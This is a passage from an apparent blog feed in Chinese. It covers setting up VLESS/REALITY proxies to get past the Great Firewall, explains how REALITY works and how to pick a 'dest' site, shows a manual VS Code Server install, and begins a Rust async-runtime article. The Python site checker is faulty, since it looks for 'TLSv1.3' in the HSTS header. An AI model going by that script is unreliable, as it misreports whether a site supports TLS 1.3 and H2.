&lt;li&gt;Profiles-&amp;gt;New Profiles-&amp;gt;Type(Remote)-&amp;gt;复制sing-box订阅链接到URL&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;vless-vision-reality&#x2F;ios-sing-box-subscription.jpg&quot; alt=&quot;ios_sing-box.jpg&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;4-windows&quot;&gt;4.Windows&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;1-v2raynxu-xia-zai-zui-xin&quot;&gt;1.[v2rayN&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;2dust&#x2F;v2rayN&#x2F;releases&quot;&gt;需下载最新]&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;1-reality-tcp&quot;&gt;1.reality-tcp&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;vless-vision-reality&#x2F;v2rayn-reality-tcp-config.png&quot; alt=&quot;reality_tcp.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;2-reality-grpc&quot;&gt;2.reality-grpc&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;vless-vision-reality&#x2F;v2rayn-reality-grpc.png&quot; alt=&quot;reality_grpc.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wu-zhu-yi-shi-xiang&quot;&gt;五、注意事项&lt;&#x2F;h2&gt;
&lt;h2 id=&quot;1-visionbei-feng-da-yi-yi-xia-nei-rong-lai-yuan&quot;&gt;1.Vision被封答疑【&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;Xray-core&#x2F;issues&#x2F;1544#issuecomment-1402118517&quot;&gt;以下内容来源&lt;&#x2F;a&gt;】&lt;&#x2F;h2&gt;
&lt;p&gt;首先，如果你特别不想被封，&lt;strong&gt;请先选择一个干净的 IP&lt;&#x2F;strong&gt;，并按照&lt;strong&gt;配置正确&lt;&#x2F;strong&gt; 去搭建、使用 XTLS Vision。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;但是，即使你这样做了，也无法保证 100% 不被封&lt;&#x2F;strong&gt;。自去年底始，很多人的未知流量秒封 IP，TLS in TLS 流量隔天封端口。XTLS Vision 不是未知流量，且完整处理了 TLS in TLS 特征，目前看来效果显著。&lt;strong&gt;但这并不意味着，用 XTLS Vision 可以 100% 不被封，认识到这一点是非常、非常重要的，不要自己偶然被封就大惊小怪&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;因为除了协议本身，还有很多角度能封你&lt;&#x2F;strong&gt;。以 IP 为例，你无法保证 IP 真的干净，无法避免被邻居波及，无法避免整个 IP 段被重点拉清单。也有可能某些地区的 GFW 有独特的标准，比如某个 IP 只有寥寥数人访问连却能跑那么多流量，封。&lt;strong&gt;如果你的 XTLS Vision 被封了，但没有出现去年底 TLS 那样的大规模被封报告，我真心建议你换端口、换 IP、换服务商依次试一遍&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;排查&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;打开[&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;ping.pe&#x2F;&quot;&gt;ping.pe&lt;&#x2F;a&gt;]&lt;&#x2F;li&gt;
&lt;li&gt;输入 IP 检测ping可用&lt;&#x2F;li&gt;
&lt;li&gt;输入 IP:Port 检查端口是否可用&lt;&#x2F;li&gt;
&lt;li&gt;主要是看最后几个是否为绿色&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;2-realitygong-zuo-yuan-li&quot;&gt;2.Reality工作原理&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;一些GitHub issues的零碎信息，完整版本可以等xray-core更新文档&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;Xray-core&#x2F;issues&#x2F;1734#issuecomment-1453135481&quot;&gt;#1734&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;Xray-core&#x2F;issues&#x2F;1701#issuecomment-1442150048&quot;&gt;#1701 &lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;Xray-core&#x2F;issues&#x2F;1697#issuecomment-1441215569&quot;&gt;#1697&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;Xray-core&#x2F;issues&#x2F;1697#issuecomment-1441246622&quot;&gt;#1697&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;Xray-core&#x2F;issues&#x2F;1588#issuecomment-1415861613&quot;&gt;#1588&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;4-xray-corenei-cun-wen-ti-jie-da-yi-xia-nei-rong-lai-yuan&quot;&gt;4.Xray-core内存问题解答【&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;Xray-core&#x2F;issues&#x2F;1880#issuecomment-1505982997&quot;&gt;以下内容来源&lt;&#x2F;a&gt;】&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;Xray 占几百兆内存，并不代表这是最低要求，而是正是因为你有空闲的内存，Xray 才会拿来当缓存、备用，因为不用白不用。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;仅此而已，内存完全够用的情况下，却非要追求这个数据的好看，想捂着不让 Xray 用，有什么意义呢？VPS 商家给你退钱？&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;对于 Xray 这样的代理类软件，内存占用大头在于对被代理数据的缓存，能用的内存多就能多缓存一些数据，麻烦搞清楚状况。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;换句话说，内存占用大头取决于你要的缓存数据能力，&lt;strong&gt;每个代理软件的默认策略不一样&lt;&#x2F;strong&gt;，你调低缓存自然就可以实现数据的好看&lt;&#x2F;p&gt;
&lt;h2 id=&quot;5-ying-xiang-realityshi-yong-ti-yan-de-ji-ge-yin-su-yi-xia-nei-rong-lai-yuan&quot;&gt;5.影响Reality使用体验的几个因素【&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;Xray-core&#x2F;issues&#x2F;2017#issuecomment-1532345891&quot;&gt;以下内容来源&lt;&#x2F;a&gt;】&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;目标网站&#x2F;域名的选择会极大程度地影响 REALITY 代理的延迟、速度、稳定性等：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;至少目前，REALITY 每次都要去拿握手包，需要注意目标网站近不近、稳不稳定（请求多了就把你半拉黑也是一种不稳定）。&lt;&#x2F;li&gt;
&lt;li&gt;运营商层面可能会给某些域名更高的流量优先级，拥堵时优先保证它们的流量通过。&lt;&#x2F;li&gt;
&lt;li&gt;GFW 层面至少有黑名单（google）和白名单（microsoft），可能还有其它名单，比如偶尔干扰&#x2F;限速名单（github？）&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;如果出现今天不可用但是昨天可用的情况，可能出现的原因：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;del&gt;也可能是你们天天逮着 microsoft、apple 之类的偷，GFW 开始测试了&lt;&#x2F;del&gt;，有人说伊朗那边就有运营商在“内测” yahoo 的 IP 白名单。&lt;&#x2F;p&gt;
&lt;p&gt;REALITY 以后会出个缓存模式，提前采集目标网站的特征，就不用每次都去拿了，这也是相对于 ShadowTLS 之类的优势之一。&lt;&#x2F;p&gt;
&lt;p&gt;还有就是 REALITY 隐藏玩法的任意 SNI、无 SNI，对 REALITY 来说，只要服务端 serverNames 写了，客户端 serverName 就能填。
我需要说明一下不是只有 1.1.1.1 和 8.8.8.8，而是绝大多数网站都有“默认证书”。不过不希望这个玩法泛滥，因为特征明显。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;6-v1-8-1-zeng-qiang-ban-xudp-de-global-id-uot-migration-you-shen-me-xiao-guo-yi-xia-nei-rong-lai-yuan&quot;&gt;6.v1.8.1 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;Xray-core&#x2F;issues&#x2F;1963#issuecomment-1512532299&quot;&gt;增强版 XUDP&lt;&#x2F;a&gt; 的 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;xtls.github.io&#x2F;development&#x2F;protocols&#x2F;muxcool.html#%E6%96%B0%E5%BB%BA%E5%AD%90%E8%BF%9E%E6%8E%A5-new&quot;&gt;Global ID &amp;amp; UoT Migration&lt;&#x2F;a&gt; 有什么效果【&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;Xray-core&#x2F;issues&#x2F;2017#issuecomment-1532488765&quot;&gt;以下内容来源&lt;&#x2F;a&gt;】&lt;&#x2F;h2&gt;
&lt;p&gt;v1.8.1 以前，你用任何 UoT，假设服务端用 A 端口与多目标通信，若 TCP 断了，比如切换网络，重连后服务端会改用 B 端口。 v1.8.1 开始，你用 VLESS（包括 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;mux.cool&#x2F;&quot;&gt;Mux.Cool&lt;&#x2F;a&gt;），即使 TCP 断了，重连后服务端还是会用 A 端口。&lt;&#x2F;p&gt;
&lt;p&gt;尤其是，对 P2P 有奇效。从某种程度上来说，这才是真正的 FullCone。双端 Xray-core v1.8.1+ 自动启用，无需额外配置。&lt;&#x2F;p&gt;
&lt;p&gt;可以用 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;HMBSbige&#x2F;NatTypeTester&quot;&gt;NatTypeTester&lt;&#x2F;a&gt;，先连接家里 WiFi 测一下，再连接手机热点（流量）测一下，你会发现服务端出口端口没变，&lt;del&gt;挺神奇的。&lt;&#x2F;del&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;7-trojanshi-fou-ke-yi-ping-ti-vlessda-yi-yi-xia-nei-rong-lai-yuan&quot;&gt;7.Trojan是否可以平替VLESS答疑【&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;Xray-core&#x2F;issues&#x2F;2017#issuecomment-1532568938&quot;&gt;以下内容来源&lt;&#x2F;a&gt;】&lt;&#x2F;h2&gt;
&lt;p&gt;都是 TLS，但怎么用 TLS，是有讲究的，有句话我早就想对鼓吹 Trojan 平替 VLESS 的人说：&lt;strong&gt;真以为 Trojan 能用一辈子？&lt;&#x2F;strong&gt;  早在三年前的 VLESS BETA 我就给你们说过，光套一层加密并不能掩盖里面的时序特征，所以 VLESS 有 flow 机制。 但是呢，以前的 GFW 没上手段，简单套个 TLS 在实践上的确还可以用，就像 WSS ALPN 一直很明显，但以前它能用。 它们还能用，我就没必要提前出牌，等 GFW 上了手段，我再继续出牌，并且不推荐大家再用旧的 WS、无 flow 等。&lt;&#x2F;p&gt;
&lt;p&gt;有一点需要再次强调，我支持的始终是 TLS 上的百花齐放，而不是 TCP 上的，原因以前说过很多，可以去 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;v2ray&#x2F;v2ray-core&#x2F;issues&#x2F;2523#issuecomment-636548331&quot;&gt;v2ray&lt;&#x2F;a&gt; 翻翻。 前段时间不是有个论文嘛，&lt;del&gt;算了不想说了，有空时再评论。&lt;&#x2F;del&gt;  &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;Xray-core&#x2F;issues&#x2F;2017#issuecomment-1532568938&quot;&gt;#14&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;8-ge-xie-yi-2023-xian-zhuang-yi-xia-nei-rong-lai-yuan&quot;&gt;8.各协议 2023 现状【&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;Xray-core&#x2F;issues&#x2F;2317#issuecomment-1637142176&quot;&gt;以下内容来源&lt;&#x2F;a&gt;】&lt;&#x2F;h2&gt;
&lt;p&gt;还是简单说一下各协议 2023 现状（对于中国大多数地区）&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;SS 全随机数类秒封 IP；IPv6 不一定封，&lt;del&gt;因人品而异&lt;&#x2F;del&gt;；绕过“省钱规则”曾经不封，目前不知道，但若流行了肯定会封，参考 SSR&lt;&#x2F;li&gt;
&lt;li&gt;Trojan、WSS 隔天封端口；Cloudflare 不封但干扰会很严重，因地区而异&lt;&#x2F;li&gt;
&lt;li&gt;黑名单是单连接 TLS in TLS 握手典型特征，因为用强 padding（Vision）或开 mux 就能绕过，注意不要让猪队友客户端连接&lt;&#x2F;li&gt;
&lt;li&gt;REALITY 类偷白名单域名的话即使有上述特征也不封；甲骨文等太黑的 IP 段偷大厂&#x2F;偷别人不一定连得上&lt;&#x2F;li&gt;
&lt;li&gt;Hysteria、TUIC 不一定封，因配置、地区而异；可能会遇到 QoS 限速，因运营商而异；总之就是使用体验严重因人而异&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;所以你可以看到以前的流行协议在今年是什么样的存活状况，&lt;strong&gt;事实上今年自建的大都是新协议，非 IPLC 中转用的协议原理也没差&lt;&#x2F;strong&gt; &lt;strong&gt;你的主观印象中“今年能连接国外网络的人数并没有减少”，严格来说就是因为自建，一些人把它透明化了，卖中转给机场和个人&lt;&#x2F;strong&gt; &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;Xray-core&#x2F;issues&#x2F;2317#issuecomment-1637142176&quot;&gt;#15&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>真实不存在-REALITY杂谈</title>
        <published>2025-07-29T00:00:00+00:00</published>
        <updated>2025-07-29T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/真实不存在-reality杂谈/"/>
        <id>https://vercel.juzhong.asia/obsidian/真实不存在-reality杂谈/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/真实不存在-reality杂谈/">&lt;h1 id=&quot;zhen-shi-bu-cun-zai-realityza-tan&quot;&gt;真实不存在-REALITY杂谈&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;qian-yan&quot;&gt;前言&lt;&#x2F;h2&gt;
&lt;p&gt;最近Reality的各种问题被炒很火，正好我也好久没有更新文章了，不妨顺便记录一下我对reality的理解。&lt;&#x2F;p&gt;
&lt;p&gt;以下对Reality的阐述仅为个人理解，如有错误请指出&lt;&#x2F;p&gt;
&lt;h2 id=&quot;realitygong-zuo-ji-zhi-jian-shu&quot;&gt;Reality工作机制简述&lt;&#x2F;h2&gt;
&lt;p&gt;Reality和Shadowtls有一点类似，但又有很大的区别，&lt;strong&gt;Reality本身并不是一种协议&lt;&#x2F;strong&gt;，是由tls库魔改过来的传输层加密，拥有前向安全等高级安全特性，部署了Reality的服务端对外表现为端口转发，即 dest 指向的网站的某个反向代理节点。&lt;&#x2F;p&gt;
&lt;p&gt;因此，Reality服务端始终是双向转发流量，同时在符合一些条件时才会对 Client Hello 进行验证，验证成功才会自己处理，除此之外的任何流量，Reality都会是转发给 dest 指向的网站。&lt;strong&gt;所以当我们使用Reality进行代理时的行为特征与在访问 dest 指向的目标网站相同&lt;&#x2F;strong&gt;（当然是正确配置Reality的条件下）&lt;&#x2F;p&gt;
&lt;h2 id=&quot;dest-xuan-qu&quot;&gt;dest 选取&lt;&#x2F;h2&gt;
&lt;p&gt;有很多小白在选取 dest 时感到为难，其实dest 配置只需要满足以下3点最低要求即可&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;国外网站&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;支持 TLSv1.3 与 H2&lt;&#x2F;li&gt;
&lt;li&gt;域名非跳转用（主域名可能被用于跳转到 www）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;满足以上三点要求的网站域名，就可以作为Reality的 dest ,当然还有一些加分项:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;IP 相近（更像，且延迟低）&lt;&#x2F;li&gt;
&lt;li&gt;Server Hello 后的握手消息一起加密（如 dl.google.com）&lt;&#x2F;li&gt;
&lt;li&gt;有 OCSP Stapling&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;你可以使用 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;RealiTLScanner&quot;&gt;Reality - TLS - Scanner&lt;&#x2F;a&gt; 来进行扫描，也可以利用以下Python脚本简单的进行判断&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;import requests
import ssl
import socket

def check_minimum_requirements(url):
    try:
        # 获取网站信息
        response = requests.get(f&amp;quot;https:&amp;#x2F;&amp;#x2F;{url}&amp;quot;, timeout=10)

        # 1. 支持 TLSv1.3 与 H2
        if &amp;#x27;h2&amp;#x27; not in response.headers.get(&amp;#x27;Alt-Svc&amp;#x27;, &amp;#x27;&amp;#x27;) or \
           &amp;#x27;TLSv1.3&amp;#x27; not in response.headers.get(&amp;#x27;Strict-Transport-Security&amp;#x27;, &amp;#x27;&amp;#x27;):
            return False

        # 2. 域名非跳转用
        if response.history:
            return False

        return True

    except Exception as e:
        # 发生异常时，认为网站不符合最低要求
        return False

def check_perfect_requirements(url):
    # 完美符合要求需要满足最低要求，并且满足 Server Hello 握手消息一起加密和有 OCSP Stapling
    if not check_minimum_requirements(url):
        return False

    try:
        # 使用 OpenSSL 库来检查握手消息的加密
        context = ssl.create_default_context()
        with socket.create_connection((url, 443)) as sock:
            with context.wrap_socket(sock, server_hostname=url) as ssl_sock:
                negotiated_protocol = ssl_sock.selected_alpn_protocol()
                if negotiated_protocol != &amp;#x27;h2&amp;#x27;:
                    return False

                # 4. 有 OCSP Stapling
                if not ssl_sock.ocsp_response:
                    return False

        return True

    except Exception as e:
        # 发生异常时，认为网站不符合完美要求
        return False

if __name__ == &amp;quot;__main__&amp;quot;:
    url = input(&amp;quot;请输入要检测的网站域名：&amp;quot;)
    if check_perfect_requirements(url):
        print(&amp;quot;该网站完美符合要求！&amp;quot;)
    elif check_minimum_requirements(url):
        print(&amp;quot;该网站符合最低要求！&amp;quot;)
    else:
        print(&amp;quot;该网站不符合要求！&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;通常，我们只需要找一些vps附近的旅游网站，大学网站作为 dest 就行&lt;&#x2F;p&gt;
&lt;p&gt;需要注意的一点是，在选取国外网站时，一定要先检查该网站在国内有无cdn节点。&lt;&#x2F;p&gt;
&lt;p&gt;因为如果这个网站在国内有cdn，并且你将它作为Reality的 dest ,当你正常访问这个网站时，应该连接的是国内IP，然而你却连接着国外的IP（你VPS的IP），这显然不正常&lt;&#x2F;p&gt;
&lt;p&gt;最好还要检查一下这个网站是否套用了Cloudflare的CDN(防止流量偷跑,具体等会说)&lt;&#x2F;p&gt;
&lt;p&gt;比如，之前有很多人将 dl.google.com,www.microsoft.com作为reality的dest，&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;XTLS&#x2F;Xray-core&#x2F;discussions&#x2F;2302&quot;&gt;导致被封锁&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;当然最好将 dest 指向自己搭建的网站,指向他人搭建的网站可能会导致很多问题(下面会讲到)&lt;&#x2F;p&gt;
&lt;h2 id=&quot;realityyou-shi&quot;&gt;Reality优势&lt;&#x2F;h2&gt;
&lt;p&gt;我们不妨来先看看reality的设计哲学&lt;&#x2F;p&gt;
&lt;h3 id=&quot;reality-de-she-ji-zhe-xue&quot;&gt;REALITY 的设计哲学&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;在设计上就把安全等级拉满，限制人的可控范围，最大程度降低人为因素的影响&lt;&#x2F;li&gt;
&lt;li&gt;信任服务端，客户端不可信，甚至默认客户端持有的节点信息全泄露了&lt;&#x2F;li&gt;
&lt;li&gt;服务端对客户端是有选择的，比如拒绝版本过低的 Xray-core 连接，防止过时的客户端实现不当害了服务端，比如指纹过时以后服务端还可以带信息给客户端，告知客户端有新版了&#x2F;告知客户端版本过低，要求更新，否则多长时间后不再支持&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;我们可以看到,Reality解决了服务端tls指纹的问题，完美消除了服务端特征，如果我们在使用reality的同时配置 utls 和xtls-rprx-vision流控可以做到近乎完美的代理行为，reality解决了服务端指纹的问题，utls解决了客户端指纹的问题,xtls-rprx-vision流控解决了 tls in tls 的问题，这似乎是目前代理协议的最优解了&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yi-xie-ju-xian-xing&quot;&gt;一些局限性&lt;&#x2F;h2&gt;
&lt;p&gt;上文我们提到了最好不要选择套有Cloudflare CDN网站的域名作为 Reality dest ,因为Reality服务端表现为端口转发,其他人可能将你的Reality节点作为一个免费的中转机，但我并不认为这是一个什么大问题，毕竟很多大网站都用的是Cloudflare CDN 的商业套餐，我们反代的是商业段的CDN节点，偷跑我们的流量的人的free套餐用不了。而且我们可以使用nginx等软件进行SNI分流，防止流量偷跑。&lt;&#x2F;p&gt;
&lt;p&gt;综合来看，Reality + xtls-rprx-vision + utls 已经是目前代理协议的最优解了，但是并不代表着它可以完美隐藏你的代理行为&lt;&#x2F;p&gt;
&lt;p&gt;比如说一些钓鱼有一些宏观上的行为是消除不掉的（比如说可以通过钓鱼来判断你在进行代理）,这与你使用什么代理协议无关。&lt;&#x2F;p&gt;
&lt;p&gt;还有在 dest 指向一些大网站时，如果该ip确实是这些大网站的一个节点，那么访问量应该很多，而且访问的源ip应该来自全国各地，并且不会有太明显的时序特征，比如晚上睡觉时间还会有来自全国各地的许多访问&lt;&#x2F;p&gt;
&lt;p&gt;而如果是用于代理，那么源ip通常只有国内固定地区的某些ip，且访问量相对于正常的域名来说应当很低&lt;&#x2F;p&gt;
&lt;p&gt;所以，需要明确的是，世界上没有完美的事物，我们常常把世界看错，反说它欺骗了我们。有些时候，让你从更高的维度去看一件个事物时，所谓的天衣无缝，也会变得漏洞百出。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;无知和弱小不是生存的障碍，傲慢才是&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>手动安装vscode server</title>
        <published>2025-07-28T13:30:36+08:00</published>
        <updated>2025-07-28T13:30:36+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/07/手动安装vscode server/"/>
        <id>https://vercel.juzhong.asia/2025/07/手动安装vscode server/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/07/手动安装vscode server/">&lt;p&gt;首先需要确认安装的vscode 的版本&lt;&#x2F;p&gt;
&lt;p&gt;查看vscode的版本&lt;&#x2F;p&gt;
&lt;p&gt;Help -&amp;gt; About
&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2025&#x2F;07&#x2F;%E6%89%8B%E5%8A%A8%E5%AE%89%E8%A3%85vscode%20server&#x2F;2025-07-28-13-34-17.png&quot; alt=&quot;查看vscode版本&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;vscode server 的安装目录在$HOME&#x2F;.vscode-server中&lt;&#x2F;p&gt;
&lt;p&gt;首先,手动下载vscode server&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;git_cid=c306e94f98122556ca081f527b466015e1bc37b0
wget -O vscode-server.tar.gz https:&amp;#x2F;&amp;#x2F;update.code.visualstudio.com&amp;#x2F;commit:${git_cid}&amp;#x2F;server-linux-x64&amp;#x2F;stable
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;解压到目标目录&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;install_path=&amp;quot;${HOME}&amp;#x2F;.vscode-server&amp;#x2F;bin&amp;#x2F;${git_cid}&amp;quot;
mkdir -p ${install_path}
tar -xzf vscode-server.tar.gz -C ${install_path} --strip-components 1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以写成一个可执行脚本后续复用install.sh&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;git_cid=&amp;quot;$1&amp;quot;
echo &amp;quot;Installing VSCode Server version: ${git_cid}&amp;quot;
install_path=&amp;quot;${HOME}&amp;#x2F;.vscode-server&amp;#x2F;bin&amp;#x2F;${git_cid}&amp;quot;
pushd &amp;#x2F;tmp
wget -O vscode-server.tar.gz https:&amp;#x2F;&amp;#x2F;update.code.visualstudio.com&amp;#x2F;commit:${git_cid}&amp;#x2F;server-linux-x64&amp;#x2F;stable
mkdir -p ${install_path}
tar -xzf vscode-server.tar.gz -C ${install_path} --strip-components 1
touch ${install_path}&amp;#x2F;0
popd
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>字节跳动 | Rust 异步运行时的设计与实现</title>
        <published>2025-07-28T00:00:00+00:00</published>
        <updated>2025-07-28T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/字节跳动-rust-异步运行时的设计与实现/"/>
        <id>https://vercel.juzhong.asia/obsidian/字节跳动-rust-异步运行时的设计与实现/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/字节跳动-rust-异步运行时的设计与实现/">&lt;h1 id=&quot;zi-jie-tiao-dong-rust-yi-bu-yun-xing-shi-de-she-ji-yu-shi-xian&quot;&gt;字节跳动 | Rust 异步运行时的设计与实现&lt;&#x2F;h1&gt;
&lt;hr &#x2F;&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html&quot;&gt;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;zi-jie-tiao-dong-rust-yi-bu-yun-xing-shi-de-she-ji-yu-shi-xian-1&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustmagazine.github.io&#x2F;rust_magazine_2021&#x2F;chapter_12&#x2F;monoio.html#%E5%AD%97%E8%8A%82%E8%B7%B3%E5%8A%A8--rust-%E5%BC%82%E6%AD%A5%E8%BF%90%E8%A1%8C%E6%97%B6%E7%9A%84%E8%AE%BE%E8%AE%A1%E4%B8%8E%E5%AE%9E%E7%8E%B0&quot;&gt;字节跳动 ｜ Rust 异步运行时的设计与实现&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;作者：茌海&#x2F;徐帅&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;本文主要介绍如何设计和实现一个基于 io-uring 的 Thread-per-core 模型的 Runtime。&lt;&#x2F;p&gt;
